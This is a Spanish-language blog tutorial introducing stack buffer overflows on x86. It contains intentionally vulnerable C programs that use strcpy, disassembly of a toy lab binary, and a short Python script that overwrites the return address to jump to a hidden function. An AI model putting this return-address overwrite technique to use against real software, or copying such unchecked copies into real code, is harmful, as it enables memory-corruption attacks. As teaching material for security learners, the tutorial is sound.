Stack Buffer Overflow básico - Parte 1
Este post es la continuación de Conceptos básicos de arquitectura de procesadores x86 y Conceptos básicos de Assembler y Debugger, los cuales, brindan los conceptos necesarios para realizar un stack buffer overflow básico.
Buffer
Un buffer es un área dentro de la memoria, donde se almacenan datos de forma temporal. Generalmente, estos se encuentran en la memoria RAM. Los buffer están diseñados para almacenar cantidades específicas de datos. A menos que, el programa que utiliza el buffer tenga instrucciones integradas para descartar datos cuando se envían demasiados a este el programa sobrescribirá los datos en la memoria adyacente al buffer.
Buffer Overflow
Cuando hablamos de un buffer overflow, ocurre cuando el programa que escribe datos en el buffer, sobrepasa la capacidad de este, llenando con más datos de los que el buffer puede manejar:
Tipos de Buffer Overflow
- Stack overflow: es el ataque más común dentro de los buffer overflow. Como su nombre lo indica, este realiza un overflow en el
stack
. - Heap overflow: este tipo de ataque tiene como objetivo los datos del grupo de memoria abierto conocido como
heap
. - Interger overflow: una operación aritmética da como resultado un número entero que es demasiado grande para el tipo de entero destinado a almacenarlo; esto puede resultar en un buffer overflow.
- Unicode overflow: crea un buffer overflow al insertar caracteres Unicode en una entrada que espera caracteres ASCII.
Stack Buffer Overflow
A continuación, se muestra un código de ejemplo que produce un stack buffer overflow:
#include <cstring>
#include <iostream>
int main() {
char *payload = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
char buffer[10];
strcpy(buffer, payload);
printf(buffer);
return 0;
}
En el código anterior, el arreglo de caracteres buffer
es de 10 bytes de largo, usa la función strcpy
, y la variable payload
contiene 35 letras A
.
En este caso, como el buffer
es de 10 bytes y se están pasando 35 A
, el programa se crashea debido a que la función strcpy
no valida el largo del argumento que se copia en el buffer
(función vulnerable), produciendo un buffer overflow.
Esto puede ser aprovechado para poder ejecutar otros programas.
Si revisamos la siguiente imagen, podemos observar que fue lo que sucedió al momento de cargar los datos en el buffer:
Ahora sabemos que la función strcpy
es vulnerable a buffer overflow, para poder solucionar esto, es que debe ser reemplazada por la función strncpy
:
#include <cstring>
#include <iostream>
int main() {
char *payload = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
char buffer[10];
strncpy(buffer, payload, sizeof(buffer));
printf(buffer);
return 0;
}
Como vemos en la siguiente imagen, todos los datos después de los 10 bytes son descartados:
Encontrando un Buffer Overflow
Existen múltiples funciones que son vulnerables a un buffer overflow, aunque, esto depende de cómo son implementadas.
Dentro de las funciones que se pueden mencionar, se encuentra:
strcpy
strcat
gets
/fgets
scanf
/fscanf
vsprintf
printf
memcpy
Cualquier función que realice alguna de las siguientes operaciones, es vulnerable:
- No validar apropiadamente los inputs antes de la operación
- No se chequean los límites del input
Un buffer overflow puede gatillarse por cualquiera de las siguientes operaciones de buffer:
- Input del usuario
- Datos cargados desde un disco
- Datos cargados desde la red
Si llegamos a tener acceso al código fuente del programa, se pueden usar herramientas de análisis estático:
Otras técnicas que pueden encontrar un buffer overflow son:
- Generar un crasheo de la aplicación, y cuando este ocurre, encontrar la vulnerabilidad con un
debugger
. - Un análisis dinámico, usando herramientas como un
fuzzer
o untracer
, que rastrean la ejecución y el flujo de los datos.
Usando las técnicas anteriores, se pueden encontrar múltiples vulnerabilidades, pero una gran parte de estos (50%) no son explotables del todo, pero pueden causar un DoS
u otros efectos.
Fuzzing
Software que testea los input de un programa, enviando datos inválidos. Dentro de estos se encuentran:
- Línea de comandos
- Datos de red
- Bases de datos
- Input de mouse/teclado
- Parámetros
- Input de archivos
- Regiones de memoria compartida
- Variables de entorno
Dentro de los comportamientos que valida esta técnica, se encuentran:
- Memory hopping
- CPU hopping
- Crasheo
Esta técnica no siempre es efectiva, por lo tanto, no puede ser usada en el 100% de las pruebas.
Dentro de las herramientas de fuzzing que se pueden comentar, están:
Nuestro primer Stack Buffer Overflow
Para nuestro primer stack buffer overflow, tenemos el siguiente código, donde debemos sobreescribir la dirección del EIP para poder llegar a la función good_work
:
#include <iostream>
#include <cstring>
int bof_function(char *str) {
char buffer[10];
strcpy(buffer, str);
return 0;
}
int good_work() {
printf("You are in good_work function\n");
printf("Great, you did a Buffer Overflow!!\n");
}
int main(int argc, char *argv[]) {
int bof = 0;
printf("Hi, you are in bof_program \n");
bof_function(argv[1]);
if (bof == 1) {
good_work();
}
else {
printf("Try again!!!\n");
}
return 0;
}
Como sabemos que la función strcpy
es vulnerable, podemos explotarla para poder realizar un buffer overflow.
Si lo hacemos de forma manual, se deben ingresar caracteres en el input, hasta que se produzca un error:
Ahora sabemos que es posible crashear el programa.
Si revisamos el disassembler del programa, vemos las tres funciones del programa y sus respectivas direcciones de memoria:
00401529 <__Z12bof_functionPc>:
401529: 55 push ebp
40152a: 89 e5 mov ebp,esp
40152c: 83 ec 28 sub esp,0x28
40152f: 8b 45 08 mov eax,DWORD PTR [ebp+0x8]
401532: 89 44 24 04 mov DWORD PTR [esp+0x4],eax
401536: 8d 45 ee lea eax,[ebp-0x12]
401539: 89 04 24 mov DWORD PTR [esp],eax
40153c: e8 07 84 01 00 call 419948 <_strcpy>
401541: b8 00 00 00 00 mov eax,0x0
401546: c9 leave
401547: c3 ret
00401548 <__Z9good_workv>:
401548: 55 push ebp
401549: 89 e5 mov ebp,esp
40154b: 83 ec 18 sub esp,0x18
40154e: c7 04 24 00 80 48 00 mov DWORD PTR [esp],0x488000
401555: e8 a6 ff ff ff call 401500 <__ZL6printfPKcz>
40155a: c7 04 24 20 80 48 00 mov DWORD PTR [esp],0x488020
401561: e8 9a ff ff ff call 401500 <__ZL6printfPKcz>
401566: c9 leave
401567: c3 ret
00401568 <_main>:
401568: 55 push ebp
401569: 89 e5 mov ebp,esp
40156b: 83 e4 f0 and esp,0xfffffff0
40156e: 83 ec 20 sub esp,0x20
401571: e8 1a c0 00 00 call 40d590 <___main>
401576: c7 44 24 1c 00 00 00 mov DWORD PTR [esp+0x1c],0x0
40157d: 00
40157e: c7 04 24 44 80 48 00 mov DWORD PTR [esp],0x488044
401585: e8 76 ff ff ff call 401500 <__ZL6printfPKcz>
40158a: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
40158d: 83 c0 04 add eax,0x4
401590: 8b 00 mov eax,DWORD PTR [eax]
401592: 89 04 24 mov DWORD PTR [esp],eax
401595: e8 8f ff ff ff call 401529 <__Z12bof_functionPc>
40159a: 83 7c 24 1c 01 cmp DWORD PTR [esp+0x1c],0x1
40159f: 75 07 jne 4015a8 <_main+0x40>
4015a1: e8 a2 ff ff ff call 401548 <__Z9good_workv>
4015a6: eb 0c jmp 4015b4 <_main+0x4c>
4015a8: c7 04 24 61 80 48 00 mov DWORD PTR [esp],0x488061
4015af: e8 4c ff ff ff call 401500 <__ZL6printfPKcz>
4015b4: b8 00 00 00 00 mov eax,0x0
4015b9: c9 leave
4015ba: c3 ret
Ahora si cargamos el programa en un debugger, y le agregamos el argumento de caracteres de la prueba anterior, podemos observar lo siguiente:
Vemos que se carga el argumento ingresado, y que nos encontramos en la función bof_function
. Si continuamos ejecutando el programa, vemos que al momento de cargar el argumento en el stack, este no sobreescribe el Return Address
que nos servirá para ir a la función good_work
:
Por lo tanto, si ahora agregamos 22 letras A
, seguido de los caracteres ABCD
, vemos que el valor del EIP es ABCD
(en hexadecimal y little endian es 44434241
):
Por lo tanto, si revisamos lo que hemos encontrado hasta ahora, sabemos lo siguiente:
- La dirección de la función
good_work
es00401548
(encontrada en el disassembler) - Se tienen 18 junk bytes (18
A
) usados para llegar al EBP - 4 bytes (4
A
) para sobreescribir el EBP - 4 bytes (
ABCD
) para sobreescribir el EIP (Return Address)
Si usamos el siguiente script en python, podemos ingresar a la función deseada:
import os
payload = "A"*22
payload += "\x48\x15\x40"
print payload
os.system("bof_program.exe " + payload)
Recordar que la memoria debe ir escrita en little endian (48154000
), y que en ASM los bytes \x00
corresponde a un NULL
byte, el cual, si strcpy
encuentra uno, dejará de copiar los datos.
Por lo tanto, si ejecutamos este script, vemos que muestra el contenido de good_work
: